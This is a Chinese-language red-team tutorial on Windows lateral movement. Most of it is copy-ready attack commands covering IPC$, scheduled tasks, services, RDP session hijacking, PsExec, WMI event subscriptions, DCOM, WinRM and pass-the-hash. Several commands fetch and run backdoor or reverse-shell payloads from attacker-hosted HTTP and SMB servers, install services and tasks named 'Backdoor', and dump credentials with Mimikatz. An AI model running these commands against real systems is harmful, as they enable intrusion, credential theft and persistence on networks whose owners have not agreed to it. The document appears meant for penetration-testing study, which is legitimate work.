内网横向移动

网络共享

Windows网络共享功能,net share命令列出默认开启的网络共享。C$即C盘共享,ADMIN$是系统目录共享。还有一个最重要的IPC$共享。
进程间通信(Inter-Process Communication,简称IPC),为了让进程间通信而开放的命名管道。通过用户名密码建立安全的通道进行数据交换。
实战中往往建立ipc$连接,因为可以列出远程主机进程、在远程主机创建计划任务或系统服务……
建立IPC$连接条件:远程主机开启了ipc连接,端口139、445开放。

因为IPC$连接通常通过SMB协议进行,而SMB协议使用TCP端口139和445。

文件传输

测试人员往往需要预先制定好文件传输方案,以便在后续操作过程中向目标主机部署攻击载荷或其他文件。
1、文件上传
利用跳板机,将 文件 上传 给 目标主机。

利用方法:IPC连接配合copy命令

  1. 建立IPC链接到目标主机

    net use \\192.168.3.21\ipc$ "Admin12345" /user:god.org\administrator
  2. 拷贝要执行的命令脚本到目标主机

    copy 5555.exe \\192.168.3.21\c$

2、文件下载
若可以在目标主机上执行命令,则可使用以下方式 直接下载文件。
以下是Windows自带的文件下载工具:

  1. Certutil(常用)

Certutil 是Windows自带的命令行工具,用于管理Windows证书并作为证书服务器的一部分安装。Certutil提供了从网络下载文件的功能。(需要一个web服务器存放要下载的文件。

certutil.exe -urlcache -split -f http://192.168.3.22/6666.exe 6666.exe
  1. BITSAdmin

BITSAdmin用于创建、下载和上传作业,监视其进度。
Windows7及以后的系统自带BitsAdmin工具。

bitsadmin /transfer test http://192.168.1.1:8000/shell.exe c:\users\public\shell.exe
# 创建一个名为test的bitsadmin任务,下载shell.exe
  1. PowerShell

在Powershell中通过创建WebClient对象来实现文件下载:

(New-Object Net.WebClient).DownloadFile("http://192.168.1.1:8000/shell.exe", "c:\users\public\shell.exe")
或
powershell -c "(New-Object Net.WebClient).DownloadFile('http://192.168.1.1:8000/shell.exe','c:\users\public\shell.exe')"

执行程序或命令

文件传输到目标主机后,可以利用以下方式运行攻击载荷,或者执行其他命令。

计划任务

1)通过建立的IPC连接,通过copy命令将攻击载荷上传后,在远程主机上创建计划任务,运行攻击载荷,或者执行其他命令,或者将执行的命令的结果保存在文本中用type读取。

  1. `at`命令

版本要求:<Windows2012
建立ipc连接,然后把执行文件copy上去,再使用at命令添加计划任务。

at \\10.1.1.1\ 11:30 C:\hh.bat
at \\10.1.1.1    1 /delete	# 1为计划任务的ID
  2. `schtasks`命令

版本要求:>=windows2012
建立ipc连接,然后把执行文件copy上去,再使用schtasks命令添加计划任务。

# 在10.1.1.1创建任务名为adduser,每天执行的,文件路径为C:\add.bat的任务
schtasks /create /s 10.1.1.1 /ru "SYSTEM" /tn adduser /sc DAILY /tr C:\add.bat /F	# 已建立ipc连接的情况下使用
schtasks /create /s 10.1.1.1 /ru "SYSTEM" /tn adduser /sc DAILY /tr C:\add.bat /F /U Administrator /P Admin12345	# 若没有建立ipc连接,需要手动指定用户密码

schtasks /run /s 10.1.1.1 /tn adduser /i		# 立即启动adduser任务
schtasks /delete /s 10.1.1.1 /tn adduser /f	# 删除adduser任务

2)除了ipc连接外,还可使用自行搭建的SMB匿名服务器。使用UNC路径代替本地路径,让远程主机直接在搭建的SMB共享中加载并执行攻击载荷。比ipc的好处就是省去了文件上传
SMB(文件共享CIFS)搭建:
在linux上,可以通过impacket套件里的 smbserver.py 来搭建smb服务器。

mkdir /root/smbshare
python3 smbserver.py mysmb /root/smbshare -smb2support

然后执行以下命令,创建计划任务,注意这里使用的是UNC路径,因为没有建立ipc连接,也需要手动指定用户密码。

schtasks /Create /S 10.1.1.1 /TN Backdoor /SC minute /MO 1 /TR \\192.168.3.15\mysmb\reverse_tcp.exe /RU System /F /U Administrator /P Admin12345

可以看到以上两种方法都是明文密码,但是我们信息搜集的时候可能会得到hash值,hash值可以使用impacket里的atexec工具进行hash传递。

系统服务

1、sc命令,创建系统服务,运行指定的程序或命令。

条件:要有2端主机的管理员权限、ipc连接

上传攻击载荷后,利用已建立的IPC$连接在远程主机上创建系统服务:

sc \\10.10.10.19 create Backdoor binPath= "cmd.exe /k C:\reverse_tcp.exe"	# 创建名为Backdoor的服务,服务启动时执行指定命令。注意,= 后面有个空格
sc \\10.10.10.19 start Backdoor  	# 启动服务
sc \\10.10.10.19 delete Backdoor  # 删除服务

2、SCShell工具,是一款利用系统服务的无文件横向移动工具。

通过ChangeServiceConfigA API修改服务配置,将二进制路径修改为指定的程序或攻击载荷,然后重启服务,执行结束后,服务二进制路径将会恢复为原始路径。

用MSF启动一个Web Delivery,并生成用于Regsvr32执行的Payload。
然后在远程主机上执行:

SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" hack.com administrastor Admin12345 
# XblAuthManager 是 Xbox Accessory Management Service的服务名
# 格式:
#SCShell.exe <target> <serviceName> <payload> <domain> <username> <password>

RDP远程桌面协议

远程桌面协议RDP,端口TCP 3389
可以通过获取的用户凭据,借助代理,通过远程桌面对目标进行实时操作。
但可能会把已登录的用户强制退出。
1、开启RDP

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

2、RDP Hijacking劫持
当多个用户进行登录时,会产生多个会话,我们可以通过已经获取的SYSTEM权限劫持其他用户的RDP会话,在未授权的情况下登入。
tscon命令可以切换用户会话。正常情况下切换会话需要提供用户密码验证,但是在SYSTEM权限下能完全绕过验证。不验证就能登录,实现未授权登录。

query user	# 查询会话记录
tscon <ID>	# 切换会话,会话id

3、工具SharpRDP
提供RDP协议在远程主机执行命令,省去了 内网代理 和 GUI登录。
条件:开启远程桌面、防火墙3389开放

PsExec远程管理工具

PsExec是微软官方工具,用来实现Windows远程管理。
原理:SMB连接Admin$共享,并释放名为psexesvc.exe的二进制文件,然后注册名字为PSEXESVC的服务。当我们输入远程命令时,会通过PSEXESVC服务启动相应程序执行命令并回显数据。运行结束,PSEXESVC被删除。
条件:开启Admin$共享,445端口(SMB)开放

PsExec.exe \\192.168.3.21 -u administrator -p Admin12345 -s cmd

Impacket套件和Metasploit都内置了PsExec的脚本或模块。

WMI

WMI 是一套用于监控和管理 Windows 操作系统的服务。了解操作系统的状态。
可以管理本地和远程,远程传输WMI数据有2个协议:DCOM、WinRM
WMI的2种利用方式:

  1. WMI的类方法进行远程命令执行
  2. 部署WMI事件订阅

一、命令执行
1、自带wmic
内部:(单执行)

wmic /node:192.168.3.21 /user:administrator /password:Admin12345 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.22/5555.exe c:/5555.exe"
 
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe /c c:/beacon.exe"

2、wmiexec.vbs
内置:(交互式)
上传wmiexec.vbs

cscript //nologo wmiexec.vbs /shell 192.168.3.21 administrator Admin12345

3、wmiexec
外部:(交互式&单执行)

wmiexec ./administrator:Admin12345@192.168.3.21 "whoami"
wmiexec god/administrator:Admin12345@192.168.3.21 "whoami"
 
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.21 "whoami"
 
下载后门:
wmiexec ./administrator:Admin12345@192.168.3.21 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"
 
执行后门:
wmiexec ./administrator:Admin12345@192.168.3.21 "cmd.exe /c c:/beacon.exe"

二、WMI事件订阅
当创建进程时,通过WMI事件订阅来执行预先设置的脚本。

  • 事件过滤器(Event Filter):触发事件的具体条件
  • 事件消费者(Event Consumer):触发后的一系列操作

在部署事件订阅时,需要分别构建Filter和Consumer两部分,并绑定在一起。
利用工具Sharp-WMIEventhttps://github.com/wh0amitz/Sharp-WMIEvent

# 先搭建一个SMB共享服务器
# 然后执行下面命令,在主机上部署一个随机命名的永久事件订阅,每60s执行一次
Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName 192.168.220.130 -Domain hack.com -Username Administrator -Password Admin12345 -Command "cmd.exe /c \\192.168.220.132\evilsmb\shell.exe"

DCOM

COM 组件对象模型
DCOM 分布式组件对象模型
COM(Component Object Model,组件对象模型)是微软的一套软件组成的二进制接口标准,使得跨编程语言的进程间通信、动态对象创建成为可能。COM指定了一个对象模型和编程要求,使COM对象能够与其他对象交互。这些对象可以在单个进程中,也可以在其它进程中,甚至可以在远程计算机中。在Windows中,每个COM对象都由唯一的128位的二进制标识符标识,即GUID。
DCOM(Distracted Component Model,分布式组件对象模型)是基于COM的一系列概念和程序接口,支持不同机器上的组件间通信。利用DCOM,客户端程序对象可以请求来自网络中另一台计算机上的服务器程序对象。
部分DCOM组件公开的接口中可能包含不安全的方法。执行以下命令,可以列出计算机上所有的DCOM程序组件
Get-CimInstance Win32_DCOMApplication
目前常利用的DCOM组件有:MMC20.Application、ShellWindows、Excel.Application、ShellBrowserWindow等。
使用DCOM在远程主机上面执行命令,需要具有以下条件:

  • 具有管理员权限的PowerShell
  • 可能需要关闭目标系统的防火墙。
  • 在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户

    MMC20.Application

    MMC20.Application对象的Document.ActiveView下存在一个ExecuteShellCommand方法,可以用来启动子进程并运行执行的程序或系统命令。
    # 通过progID与DCOM进行远程交互,并创建MMC20.Application对象的示例
     $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.30.100"))
     
     # 调用ExecuteShellCommand方法启动进程,运行攻击载荷
     $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c \\192.168.207.152\mysmb\reverse_tcp.exe", "Minimized")
     
     # 合并一句话
     [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.30.100")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c \\192.168.207.152\mysmb\reverse_tcp.exe", "Minimized")

    ShellWindows

    ShellWindows组件提供了Document.Application.ShellExecute方法,适用于Windows7及以上的系统。
    # 通过PowerShell与DCOM进行远程交互,创建ShellWindows对象的实例:
     $com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.30
     
     .138"))
     
     # 然后执行如下命令,我们就可以调用该对象的"ShellExecute"方法在远程主机上启动进程:
     $com.item().Document.Application.ShellExecute("cmd.exe","/c C:\shell.exe","c:\windows\system32",$null,0)
     
     # 完整的命令:
     [Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.52.138")).item().Document.Application.ShellExecute("cmd.exe","/c C:\shell.exe","c:\windows\system32",$null,0)

    Excel.Application

    # 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:
     $com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.52.138"))
     $com.DisplayAlerts = $false
     
     # 然后执行如下命令,我们就可以调用该对象的"DDEInitiate"方法在远程主机上启动进程:
     $com.DDEInitiate("cmd.exe","/c C:\shell.exe")

    ShellBrowserWindow

    使用条件:适用于Windows 10和Windows Server 2012 R2等版本的系统。
    # 通过PowerShell与DCOM进行远程交互,创建Excel.Application对象的实例:
     $com = [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.52.138"))
     
     # 然后执行如下命令,我们就可以调用该对象的"shellExecute"方法在远程主机上启动进程:
     $com.Document.Application.shellExecute("C:\shell.exe")
     
     # 完整的命令:
     [activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.52.138")).Document.Application.shellExecute("C:\shell.exe")

    Impacket里的dcomexec.py脚本

    Impacket 里面提供的 dcomexec.py 脚本可以提供一个类似于 wmiexec.py 脚本的半交互式shell,但使用的是DCOM,目前支持MMC20.Application,ShellWindows和ShellBrowserWindow对象。
    命令格式如下:
    ./dcomexec.py domain/username:password@ip
     ./dcomexec.py domain/username:password@ip <command>

WinRM

执行命令
交互式会话
WinRM是通过执行WS-Management协议(用于远程软件和硬件管理的Web服务协议)来实现远程管理的,允许处于一个共同网络内的Windows计算机彼此之间互相访问和交换信息,对应的端口是5985。在一台计算机启用WinRM服务后,防火墙会自动放行其相关通信端口,在另一台计算机便能通过WinRM对其进行远程管理了。
只有在Windows Server 2008以上版本的服务器中,WinRm服务才会自动启动。
在利用WinRM进行横向移动时,需要拥有远程主机的管理员凭据信息。

通过WinRM执行远程命令

Windows远程管理提供了两个工具:
① Winrs,允许远程执行命令的命令行工具,利用了WS-Manage协议
② Winrm(Winrm.cmd),内置系统管理命令行工具,允许管理员配置本机的WinRM服务。
在默认情况下,无法通过WinRM连接到目标系统。可能出现错误:Winrs error:WinRM客户端无法处理该请求。可以将默认身份验证与IP地址结合使用:
① 传输为HTTPS或目标位于TrustedHosts列表中,并且提供显式凭据
② 使用Winrm.cmd配置TrustedHosts。
执行以下命令,将目标地址添加到TrustedHosts中:

winrm set winrm/config/client @{TrustedHosts="192.168.30.100"}

set-Item WSMan:localhost\client\trustedhosts -value *    # 通过powershell,信任所有主机

Winrs
winrs是Windows上远程管理提供的客户端程序,允许通过提供的用户凭据,在运行WinRM的服务器上执行命令。要求通信双方都安装了WinRM服务。

# 执行系统命令
winrs -r:http://192.168.30.100:5985 -u:Administrator -p:Admin2012 "whoami"

# 获取远程交互式命令行
winrs -r:http://192.168.30.100:5985 -u:Administrator -p:Admin2012 "cmd"

Winrm.cmd
winrm.cmd允许WMI对象通过WinRm传输进行远程交互,在本地或远程计算机上枚举WMI对象实例或调用WMI类方法。比如可以通过调用Win32_Process类的Create方法来创建远程实例。

winrm invoke create wmicimv2/win32_process -SkipCAcheck -skipCNcheck @{commandline="notepad.exe"} -r:http://192.168.30.100:5985 -u:Administrator -p:Admin2012

Evil-Winrm

https://github.com/Hackplayers/evil-winrm

PTH哈希传递

利用Mimikatz进行PTH
Mimikatz内置了哈希传递的功能,需要本地管理员权限。
① 抓取用户的哈希

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit

② 利用抓取的域管理员的NTLM hash进行哈希传递

mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:hackme.com /ntlm:93b95aef15f4d50fab96ffc44a2f326a" exit

利用impacket进行PTH
Impacket项目中具有远程执行功能的几个脚本几乎都可以进行哈希传递攻击,常见的有:

psexec.py      # 类似PSEXEC的功能示例,使用remcomsvc(https://github.com/kavika13/remcom)
smbexec.py     # 与使用remcomsvc的psexec w/o类似的方法。这里描述了该技术。我们的实现更进一步,实例化本地smbserver以接收命令的输出。这在目标计算机没有可写共享可用的情况下很有用。
atexec.py      # 此示例通过Task Scheduler服务在目标计算机上执行命令,并返回已执行命令的输出。
wmiexec.py     # 通过Windows Management Instrumentation使用的半交互式shell,它不需要在目标服务器上安装任何服务/代理,以管理员身份运行,非常隐蔽。
dcomexec.py    # 类似于wmiexec.py的半交互式shell,但使用不同的DCOM端点。目前支持MMC20.Application,ShellWindows和ShellBrowserWindow对象。

用法:

# 普通用法
python3 xxx.py domain/user:password@ip

# 哈希传递
python3 xxx.py domain/user@ip -hashes :93b95aef15f4d50fab96ffc44a2f326a